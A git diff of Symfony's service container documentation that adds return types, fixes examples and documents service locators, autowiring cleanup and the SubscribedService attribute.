-these services directly from the container, this isn't needed. In a minute, you'll
-clean that up.
-
-Step 4) Auto-registering Services
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You're now ready to automatically register all services in ``src/``
-(and/or any other directory/bundle you have):
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        _defaults:
-            # ...
-
-    +     App\:
-    +         resource: '../src/*'
-    +         exclude: '../src/{Entity,Migrations,Tests}'
-    +
-    +     App\Controller\:
-    +         resource: '../src/Controller'
-    +         tags: ['controller.service_arguments']
-
-        # ...
-
-That's it! Actually, you're already overriding and reconfiguring all the services
-you're using (``App\Service\GitHubNotifier`` and ``App\Service\MarkdownTransformer``).
-But now, you won't need to manually register future services.
-
-Once again, there is one extra complication if you have multiple services of the
-same class:
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        # ...
-
-    +     # alias ApiClient to one of our services below
-    +     # app.api_client_github will be used to autowire ApiClient type-hints
-    +     App\Service\ApiClient: '@app.api_client_github'
-
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-This guarantees that if you try to autowire an ``ApiClient`` instance, the ``app.api_client_github``
-will be used. If you *don't* have this, the auto-registration feature will try to
-register a third ``ApiClient`` service and use that for autowiring (which will fail,
-because the class has a non-autowireable argument).
-
-.. _step-5:
-
-Step 5) Cleanup!
-~~~~~~~~~~~~~~~~
-
-To make sure your application didn't break, you did some extra work. Now it's time
-to clean things up! First, update your application to *not* use the old service id's (the
-ones in ``legacy_aliases.yaml``). This means updating any service arguments (e.g.
-``@app.github_notifier`` to ``@App\Service\GitHubNotifier``) and updating your
-code to not fetch this service directly from the container. For example:
-
-.. code-block:: diff
-
-    -     public function index()
-    +     public function index(GitHubNotifier $gitHubNotifier, MarkdownTransformer $markdownTransformer)
-        {
-    -         // the old way of fetching services
-    -         $githubNotifier = $this->container->get('app.github_notifier');
-    -         $markdownTransformer = $this->container->get('markdown_transformer');
-
-            // ...
-        }
-
-As soon as you do this, you can delete ``legacy_aliases.yaml`` and remove its import.
-You should do the same thing for any services that you made public, like
-``app.api_client_github`` and ``app.api_client_sl_connect``. Once you're not fetching
-these directly from the container, you can remove the ``public: true`` flag:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-    -         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    -         public: true
-
-Finally, you can optionally remove any services from ``services.yaml`` whose arguments
-can be autowired. The final configuration looks like this:
-
-.. code-block:: yaml
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-            public: false
-
-        App\:
-            resource: '../src/*'
-            exclude: '../src/{Entity,Migrations,Tests}'
-
-        App\Controller\:
-            resource: '../src/Controller'
-            tags: ['controller.service_arguments']
-
-        App\Service\GitHubNotifier:
-            # this could be deleted, or I can keep being explicit
-            arguments:
-                - '@app.api_client_github'
-
-        # alias ApiClient to one of our services below
-        # app.api_client_github will be used to autowire ApiClient type-hints
-        App\Service\ApiClient: '@app.api_client_github'
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-You can now take advantage of the new features going forward.
-
-.. _`FrameworkExtension for 3.3.0`: https://github.com/symfony/symfony/blob/7938fdeceb03cc1df277a249cf3da70f0b50eb98/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/FrameworkExtension.php#L247-L284
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 6e032b10a6f..f216855d292 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -172,7 +172,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
     .. code-block:: yaml
 
         app.mailer:
-            alias: '@App\Mail\PhpMailer'
+            alias: 'App\Mail\PhpMailer'
 
             # this outputs the following generic deprecation message:
             # Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future
@@ -283,7 +283,7 @@ The following example shows how to inject an anonymous service into another serv
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
-                ->args([inline_service(AnonymousBar::class)])
+                ->args([inline_service(AnonymousBar::class)]);
         };
 
 .. note::
@@ -334,7 +334,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([inline_service(AnonymousBar::class), 'constructFoo'])
+                ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
         };
 
 Deprecating Services
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index e62f75f7513..13e224aed72 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -29,7 +29,7 @@ Start by creating a ROT13 transformer class::
 
     class Rot13Transformer
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return str_rot13($value);
         }
@@ -41,6 +41,7 @@ And now a Twitter client using this transformer::
     namespace App\Service;
 
     use App\Util\Rot13Transformer;
+    // ...
 
     class TwitterClient
     {
@@ -51,7 +52,7 @@ And now a Twitter client using this transformer::
             $this->transformer = $transformer;
         }
 
-        public function tweet($user, $key, $status)
+        public function tweet(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -129,6 +130,8 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     use App\Service\TwitterClient;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
@@ -136,7 +139,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
         /**
          * @Route("/tweet", methods={"POST"})
          */
-        public function tweet(TwitterClient $twitterClient)
+        public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
 
@@ -283,7 +286,7 @@ To follow this best practice, suppose you decide to create a ``TransformerInterf
 
     interface TransformerInterface
     {
-        public function transform($value);
+        public function transform(string $value): string;
     }
 
 Then, you update ``Rot13Transformer`` to implement it::
@@ -383,7 +386,7 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 
     class UppercaseTransformer implements TransformerInterface
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return strtoupper($value);
         }
@@ -421,7 +424,7 @@ the injection::
             $this->transformer = $shoutyTransformer;
         }
 
-        public function toot($user, $key, $status)
+        public function toot(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -518,6 +521,7 @@ the injection::
                 // want to use a named autowiring alias, wire it manually:
                 //     ->arg('$transformer', service(UppercaseTransformer::class))
                 // ...
+            ;
         };
 
 Thanks to the ``App\Util\TransformerInterface`` alias, any argument type-hinted
@@ -558,14 +562,14 @@ to inject the ``logger`` service, and decide to use setter-injection:
             private $logger;
 
             /**
-            * @required
-            */
-            public function setLogger(LoggerInterface $logger)
+             * @required
+             */
+            public function setLogger(LoggerInterface $logger): void
             {
                 $this->logger = $logger;
             }
 
-            public function transform($value)
+            public function transform($value): string
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
@@ -584,12 +588,12 @@ to inject the ``logger`` service, and decide to use setter-injection:
             private $logger;
 
             #[Required]
-            public function setLogger(LoggerInterface $logger)
+            public function setLogger(LoggerInterface $logger): void
             {
                 $this->logger = $logger;
             }
 
-            public function transform($value)
+            public function transform($value): string
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
diff --git a/service_container/calls.rst b/service_container/calls.rst
index df33cecc989..9f7ac768976 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -22,7 +22,7 @@ example::
     {
         private $logger;
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
@@ -90,10 +90,7 @@ instead of mutating the object they were called on::
     {
         private $logger;
 
-        /**
-         * @return static
-         */
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): self
         {
             $new = clone $this;
             $new->logger = $logger;
@@ -146,3 +143,31 @@ The configuration to tell the container it should do so would be like:
 
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
+
+.. tip::
+
+    If autowire is enabled, you can also use annotations; with the previous
+    example it would be::
+
+        /**
+         * @required
+         * @return static
+         */
+        public function withLogger(LoggerInterface $logger)
+        {
+            $new = clone $this;
+            $new->logger = $logger;
+
+            return $new;
+        }
+
+    You can also leverage the PHP 8 ``static`` return type instead of the
+    ``@return static`` annotation. If you don't want a method with a
+    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    a wither, you can add a ``@return $this`` annotation to disable the
+    *returns clone* feature.
+
+    .. versionadded:: 5.1
+
+        Support for the PHP 8 ``static`` return type was introduced in
+        Symfony 5.1.
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 4d959e93dc6..79f666a4237 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -52,7 +52,7 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
@@ -81,7 +81,7 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             parent::build($container);
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 6e76784a284..1ade37244c3 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -28,7 +28,7 @@ You start defining a ``NewsletterManager`` class like this::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -45,7 +45,7 @@ and also a ``GreetingCardManager`` class::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -65,7 +65,7 @@ in the application::
     {
         // ...
 
-        public function getEnabledFormatters()
+        public function getEnabledFormatters(): array
         {
             // code to configure which formatters to use
             $enabledFormatters = [...];
@@ -92,7 +92,7 @@ to create a configurator class to configure these instances::
             $this->formatterManager = $formatterManager;
         }
 
-        public function configure(EmailFormatterAwareInterface $emailManager)
+        public function configure(EmailFormatterAwareInterface $emailManager): void
         {
             $emailManager->setEnabledFormatters(
                 $this->formatterManager->getEnabledFormatters()
diff --git a/service_container/debug.rst b/service_container/debug.rst
index 635bbdfa9ae..e949f6234f9 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -29,7 +29,7 @@ its id:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container 'App\Service\Mailer'
+    $ php bin/console debug:container App\Service\Mailer
 
     # to show the service arguments:
-    $ php bin/console debug:container 'App\Service\Mailer' --show-arguments
+    $ php bin/console debug:container App\Service\Mailer --show-arguments
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index f90a185e1c5..160f92c8315 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -90,12 +90,12 @@ fetched from the container::
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
     
-    // adds a new argument with the name of the argument
-    // $argumentName = the name of the argument in the constructor
-    $argument = $definition->setArgument('$argumentName', $argumentValue);
+    // adds a new named argument
+    // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
+    $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument
-    $definition->addArgument($argument);
+    $definition->addArgument($argumentValue);
 
     // replaces argument on a specific index (0 = first argument)
     $definition->replaceArgument($index, $argument);
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9ba64eee074..972d7286c88 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,7 +67,8 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]);
+                // because of the escaping applied by PHP, you must add 4 backslashes for each original backslash
+                ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 515e93f64b5..d2fda053923 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -26,7 +26,7 @@ object by calling the static ``createNewsletterManager()`` method::
 
     class NewsletterManagerStaticFactory
     {
-        public static function createNewsletterManager()
+        public static function createNewsletterManager(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -181,7 +181,7 @@ factory service can be used as a callback::
     // ...
     class InvokableNewsletterManagerFactory
     {
-        public function __invoke()
+        public function __invoke(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -204,7 +204,7 @@ method name:
 
             App\Email\NewsletterManager:
                 class:   App\Email\NewsletterManager
-                factory: '@App\Email\NewsletterManagerFactory'
+                factory: '@App\Email\InvokableNewsletterManagerFactory'
 
     .. code-block:: xml
 
@@ -220,7 +220,7 @@ method name:
 
                 <service id="App\Email\NewsletterManager"
                          class="App\Email\NewsletterManager">
-                    <factory service="App\Email\NewsletterManagerFactory"/>
+                    <factory service="App\Email\InvokableNewsletterManagerFactory"/>
                 </service>
             </services>
         </container>
@@ -237,7 +237,7 @@ method name:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->factory(service(NewsletterManagerFactory::class));
+                ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
 .. _factories-passing-arguments-factory-method:
diff --git a/service_container/import.rst b/service_container/import.rst
index f38c2a33525..b37c8360388 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -80,7 +80,8 @@ a relative or absolute path to the imported file:
         # config/services.yaml
         imports:
             - { resource: services/mailer.yaml }
-
+            # If you want to import a whole directory:
+            - { resource: services/ }
         services:
             _defaults:
                 autowire: true
@@ -103,6 +104,8 @@ a relative or absolute path to the imported file:
 
             <imports>
                 <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
             </imports>
 
             <services>
@@ -122,6 +125,8 @@ a relative or absolute path to the imported file:
 
         return function(ContainerConfigurator $configurator) {
             $configurator->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $configurator->import('services/');
 
             $services = $configurator->services()
                 ->defaults()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index e4723faa610..1a0c5351d02 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -126,7 +126,7 @@ by cloning the original service, this approach allows you to make a service immu
          * @required
          * @return static
          */
-        public function withMailer(MailerInterface $mailer)
+        public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
             $new->mailer = $mailer;
@@ -220,7 +220,7 @@ that accepts the dependency::
 
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
-    
+
     // ...
     class NewsletterManager
     {
@@ -229,7 +229,7 @@ that accepts the dependency::
         /**
          * @required
          */
-        public function setMailer(MailerInterface $mailer)
+        public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 936316bb029..7b33bcdfcac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -93,9 +93,9 @@ To check if your proxy works you can check the interface of the received object:
 
 .. note::
 
-    If you don't install the `ProxyManager bridge`_ and the
-    `ocramius/proxy-manager`_, the container will skip over the ``lazy``
-    flag and directly instantiate the service as it would normally do.
+    If you don't install the `ProxyManager bridge`_ , the container will skip
+    over the ``lazy`` flag and directly instantiate the service as it would
+    normally do.
 
 Additional Resources
 --------------------
@@ -106,5 +106,4 @@ in the `documentation of ProxyManager`_.
 .. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
 .. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
 .. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
-.. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index ddafa1bb9d5..e05e050ba9c 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -113,7 +113,7 @@ In YAML, the special ``@?`` syntax tells the service container that the
 dependency is optional. The ``NewsletterManager`` must also be rewritten by
 adding a ``setLogger()`` method::
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             // ...
         }
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 619ac11452c..7df74b37a43 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -26,7 +26,7 @@ you may have multiple repository classes which need the
             $this->objectManager = $objectManager;
         }
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index e228799e478..2459139ed70 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -87,7 +87,7 @@ a PSR-11 ``ContainerInterface``::
             $this->locator = $locator;
         }
 
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return [
                 'App\FooCommand' => FooHandler::class,
@@ -130,7 +130,7 @@ service locator::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -142,7 +142,7 @@ Service types can also be keyed by a service name for internal use::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -159,7 +159,7 @@ typically happens when extending ``AbstractController``::
 
     class MyController extends AbstractController
     {
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return array_merge(parent::getSubscribedServices(), [
                 // ...
@@ -176,7 +176,7 @@ errors if there's no matching service found in the service container::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -246,9 +246,70 @@ service type to a service.
 Defining a Service Locator
 --------------------------
 
-To manually define a service locator, create a new service definition and add
-the ``container.service_locator`` tag to it. Use the first argument of the
-service definition to pass a collection of services to the service locator:
+To manually define a service locator and inject it to another service, create an
+argument of type ``service_locator``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CommandBus:
+                arguments: !service_locator
+                    App\FooCommand: '@app.command_handler.foo'
+                    App\BarCommand: '@app.command_handler.bar'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\CommandBus">
+                    <argument type="service_locator">
+                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
+                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <!-- if the element has no key, the ID of the original service is used -->
+                        <argument type="service" id="app.command_handler.baz"/>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CommandBus;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(CommandBus::class)
+                ->args([service_locator([
+                    'App\FooCommand' => ref('app.command_handler.foo'),
+                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    // if the element has no key, the ID of the original service is used
+                    ref('app.command_handler.baz'),
+                ])]);
+        };
+
+As shown in the previous sections, the constructor of the ``CommandBus`` class
+must type-hint its argument with ``ContainerInterface``. Then, you can get any of
+the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
+
+Reusing a Service Locator in Multiple Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you inject the same service locator in several services, it's better to
+define the service locator as a stand-alone service and then inject it in the
+other services. To do so, create a new service definition using the
+``ServiceLocator`` class:
 
 .. configuration-block::
 
@@ -334,7 +395,7 @@ service definition to pass a collection of services to the service locator:
     The services defined in the service locator argument must include keys,
     which later become their unique identifiers inside the locator.
 
-Now you can use the service locator by injecting it in any other service:
+Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
@@ -376,6 +437,9 @@ Now you can use the service locator by injecting it in any other service:
                 ->args([service('app.command_handler_locator')]);
         };
 
+Using Service Locators in Compiler Passes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended
 to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register`
 method to create the service locators. This will save you some boilerplate and
@@ -385,7 +449,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container)
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
@@ -421,7 +485,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
                 tags:
                     - { name: 'app.handler', key: 'handler_two' }
 
-            App\HandlerCollection:
+            App\Handler\HandlerCollection:
                 # inject all services tagged with app.handler as first argument
                 arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key' }]
 
@@ -563,8 +627,9 @@ Service Subscriber Trait
 
 The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
-that looks through all methods in your class that have no arguments and a return
-type. It provides a ``ServiceLocator`` for the services of those return types.
+that looks through all methods in your class that are marked with the
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
+provides a ``ServiceLocator`` for the services of each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -573,6 +638,7 @@ services based on type-hinted helper methods::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
     use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
@@ -586,11 +652,13 @@ services based on type-hinted helper methods::
             // $this->logger() ...
         }
 
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__METHOD__);
         }
 
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__METHOD__);
@@ -604,9 +672,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait LoggerAware
     {
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -617,9 +687,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait RouterAware
     {
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -649,4 +721,12 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+.. deprecated:: 5.4
+
+    Defining your *subscribed service* methods with the
+    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
+    was added in Symfony 5.4. Previously, any methods with no arguments and a
+    return type were *subscribed*. This still works in 5.4 but is deprecated (only
+    when using PHP 8) and will be removed in 6.0.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 5a3ea59d276..59869d5d7f3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -18,7 +18,7 @@ from within the ``Kernel`` class::
     {
         // ...
 
-        protected function initializeContainer()
+        protected function initializeContainer(): void
         {
             // ...
             $this->container->set('kernel', $this);
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1c26f286237..94d7d2036b3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -60,6 +60,8 @@ and many tags require additional arguments (beyond the ``name`` parameter).
 **For most users, this is all you need to know**. If you want to go further and
 learn how to create your own custom tags, keep reading.
 
+.. _di-instanceof:
+
 Autoconfiguring Tags
 --------------------
 
@@ -87,7 +89,7 @@ If you want to apply tags automatically for your own services, use the
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
             <services>
                 <!-- this config only applies to the services created by this file -->
@@ -126,7 +128,7 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -142,7 +144,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -178,7 +180,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport)
+        public function addTransport(\Swift_Transport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -305,7 +307,7 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
             if (!$container->has(TransportChain::class)) {
@@ -342,7 +344,7 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new MailTransportPass());
         }
@@ -373,16 +375,18 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias)
+        public function addTransport(\Swift_Transport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias)
+        public function getTransport($alias): ?\Swift_Transport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
             }
+
+            return null;
         }
     }
 
@@ -478,7 +482,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ...
 
@@ -488,7 +492,7 @@ use this, update the compiler::
                 foreach ($tags as $attributes) {
                     $definition->addMethodCall('addTransport', [
                         new Reference($id),
-                        $attributes['alias']
+                        $attributes['alias'],
                     ]);
                 }
             }
@@ -594,8 +598,9 @@ application handlers::
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tagged services can be prioritized using the ``priority`` attribute,
-thus providing a way to inject a sorted collection of services:
+The tagged services can be prioritized using the ``priority`` attribute. The
+priority is a positive or negative integer that defaults to ``0``. The higher
+the number, the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 
@@ -653,7 +658,7 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority 
+If you want to have another method defining the priority
 (e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
 you can define it in the configuration of the collecting service:
 
@@ -780,9 +785,9 @@ indexed by the ``key`` attribute:
         };
 
 After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``:
-to get an array and then retrieve the ``handler_two`` handler::
+application handlers. To retrieve a specific service from the iterator, call the
+``iterator_to_array()`` function and then use the ``key`` attribute to get the
+array element. For example, to retrieve the ``handler_two`` handler::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -791,16 +796,16 @@ to get an array and then retrieve the ``handler_two`` handler::
     {
         public function __construct(iterable $handlers)
         {
-            $handlers = iterator_to_array($handlers);
+            $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
-            $handlerTwo = $handlers['handler_two']:
+            $handlerTwo = $handlers['handler_two'];
         }
     }
 
 .. tip::
 
     Just like the priority, you can also implement a static
-    ``getDefaultIndexAttributeName()`` method in the handlers and omit the
+    ``getDefaultIndexName()`` method in the handlers and omit the
     index attribute (``key``)::
 
         // src/Handler/One.php
@@ -840,7 +845,7 @@ to get an array and then retrieve the ``handler_two`` handler::
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-                    <!-- ... --!>
+                    <!-- ... -->
 
                     <service id="App\HandlerCollection">
